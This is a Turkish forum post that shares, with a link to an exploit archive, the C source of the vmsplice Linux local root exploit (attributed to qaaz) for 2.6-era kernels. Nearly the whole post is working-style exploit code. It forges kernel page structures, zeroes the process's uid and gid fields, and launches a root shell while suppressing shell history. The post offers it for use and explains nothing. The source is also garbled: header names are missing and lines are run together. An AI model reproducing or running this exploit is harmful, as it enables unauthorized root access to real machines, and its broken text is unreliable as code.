2.6.18 Linux local root - 2011

Öyle dolaşırken rastladım, işinize yarar umarım.
http://1337day.com/exploits/17843

[B][CENTER]/* * * Good_LucK :D *  *[/B][/CENTER]
[B]
[CENTER]* Linux 2.6.18 - 2011
 -static -Wno-format
*/
 #define _GNU_SOURCE
 #include
 #include
 #include
 #include
 #include
 #include
  #include
  #include
  #include
  #include
  #include
  #define __KERNEL__
 #include
  #define PIPE_BUFFERS 16
 #define PG_compound 14
 #define uint unsigned int
 #define static_inline static inline __attribute__((always_inline))
 #define STACK(x) (x + sizeof(x) - 40)  struct page { unsigned long flags; int count; int mapcount;
 unsigned long private; void *mapping; unsigned long index; struct { long next, prev; } lru; };  void
exit_code(); char exit_stack[1024 * 1024];  void die(char *msg, int err) { printf(err ? "[-] %s: %s\n" :
"[-] %s\n", msg, strerror(err)); fflush(stdout); fflush(stderr); exit(1); }
 #if defined (__i386__)  #ifndef __NR_vmsplice
#define __NR_vmsplice 316 #endif  #define USER_CS 0x73
#define USER_SS 0x7b #define USER_FL 0x246  static_inline void exit_kernel() { __asm__
__volatile__ ( "movl %0, 0x10(%%esp) ;" "movl %1, 0x0c(%%esp) ;" "movl %2, 0x08(%%esp) ;"
 "movl %3, 0x04(%%esp) ;" "movl %4, 0x00(%%esp) ;" "iret" : : "i" (USER_SS), "r"
(STACK(exit_stack)), "i" (USER_FL), "i" (USER_CS), "r" (exit_code) ); }  static_inline void *
 get_current() { unsigned long curr; __asm__ __volatile__ ( "movl %%esp, %%eax ;" "andl %1, %%eax
 ;" "movl (%%eax), %0" : "=r" (curr) : "i" (~8191) ); return (void *) curr; }
#elif defined (__x86_64__)
#ifndef __NR_vmsplice
#define __NR_vmsplice 278
#endif
#define USER_CS 0x23
#define USER_SS 0x2b
#define USER_FL 0x246  static_inline void exit_kernel() { __asm__ __volatile__ ( "swapgs ;" "movq
 %0, 0x20(%%rsp) ;" "movq %1, 0x18(%%rsp) ;" "movq %2, 0x10(%%rsp) ;" "movq %3,
 0x08(%%rsp) ;" "movq %4, 0x00(%%rsp) ;" "iretq" : : "i" (USER_SS), "r" (STACK(exit_stack)), "i"
 (USER_FL), "i" (USER_CS), "r" (exit_code) ); }  static_inline void * get_current() { unsigned long curr;
 __asm__ __volatile__ ( "movq %%gs:(0), %0" : "=r" (curr) ); return (void *) curr; }
 #else
#error "unsupported arch"
#endif
#if defined (_syscall4)
 #define __NR__vmsplice __NR_vmsplice _syscall4( long, _vmsplice, int, fd, struct iovec *, iov, unsigned long, nr_segs, unsigned int, flags)
#else
 #define _vmsplice(fd,io,nr,fl) syscall(__NR_vmsplice, (fd), (io), (nr), (fl))
#endif  static uint uid, gid;  void kernel_code() { int i; uint *p = get_current();  for (i = 0; i < 1024-13;
 i++) { if (p[0] == uid && p[1] == uid && p[2] == uid && p[3] == uid && p[4] == gid && p[5] ==
gid && p[6] == gid && p[7] == gid) { p[0] = p[1] = p[2] = p[3] = 0; p[4] = p[5] = p[6] = p[7] = 0; p
 = (uint *) ((char *)(p + 8) + sizeof(void *)); p[0] = p[1] = p[2] = ~0; break; } p++; } exit_kernel(); }
 void exit_code() { if (getuid() != 0) die("wtf", 0); printf("[+] root\n"); putenv("HISTFILE=/dev/null");
execl("/bin/bash", "bash", "-i", NULL); die("/bin/bash", errno); } int main(int argc, char *argv[]) { int
pi[2]; size_t map_size; char * map_addr; struct iovec iov; struct page * pages[5]; uid = getuid(); gid =
getgid(); setresuid(uid, uid, uid); setresgid(gid, gid, gid); printf("-----------------------------------\n");
 printf(" Linux vmsplice Local Root Exploit\n"); printf(" By qaaz\n");
 printf("-----------------------------------\n"); if (!uid || !gid) die("!@#$", 0); /*****/ pages[0] = *(void
**) &(int[2]){0,PAGE_SIZE}; pages[1] = pages[0] + 1; map_size = PAGE_SIZE; map_addr =
mmap(pages[0], map_size, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_PRIVATE |
 MAP_ANONYMOUS, -1, 0); if (map_addr == MAP_FAILED) die("mmap", errno);
memset(map_addr, 0, map_size); printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr +
map_size); printf("[+] page: 0x%lx\n", pages[0]); printf("[+] page: 0x%lx\n", pages[1]); pages[0]->flags =
 1 << PG_compound; pages[0]->private = (unsigned long) pages[0]; pages[0]->count = 1;
pages[1]->lru.next = (long) kernel_code;  /*****/ pages[2] = *(void **) pages[0]; pages[3] = pages[2]
 + 1;  map_size = PAGE_SIZE; map_addr = mmap(pages[2], map_size, PROT_READ |
PROT_WRITE, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); if (map_addr ==
MAP_FAILED) die("mmap", errno);  memset(map_addr, 0, map_size); printf("[+] mmap: 0x%lx ..
 0x%lx\n", map_addr, map_addr + map_size); printf("[+] page: 0x%lx\n", pages[2]); printf("[+] page:
 0x%lx\n", pages[3]);  pages[2]->flags = 1 << PG_compound; pages[2]->private = (unsigned long)
pages[2]; pages[2]->count = 1; pages[3]->lru.next = (long) kernel_code;  /*****/ pages[4] = *(void
 **) &(int[2]){PAGE_SIZE,0}; map_size = PAGE_SIZE; map_addr = mmap(pages[4], map_size,
 PROT_READ | PROT_WRITE, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); if
 (map_addr == MAP_FAILED) die("mmap", errno); memset(map_addr, 0, map_size); printf("[+] mmap:
 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size); printf("[+] page: 0x%lx\n", pages[4]);  /*****/
map_size = (PIPE_BUFFERS * 3 + 2) * PAGE_SIZE; map_addr = mmap(NULL, map_size,
PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); if (map_addr ==
MAP_FAILED) die("mmap", errno);  memset(map_addr, 0, map_size); printf("[+] mmap: 0x%lx ..
0x%lx\n", map_addr, map_addr + map_size);  /*****/ map_size -= 2 * PAGE_SIZE; if
(munmap(map_addr + map_size, PAGE_SIZE) < 0) die("munmap", errno);  /*****/ if (pipe(pi) < 0)
die("pipe", errno); close(pi[0]);  iov.iov_base = map_addr; iov.iov_len = ULONG_MAX;
 signal(SIGPIPE, exit_code); _vmsplice(pi[1], &iov, 1, 0); die("vmsplice", errno); return 0; }

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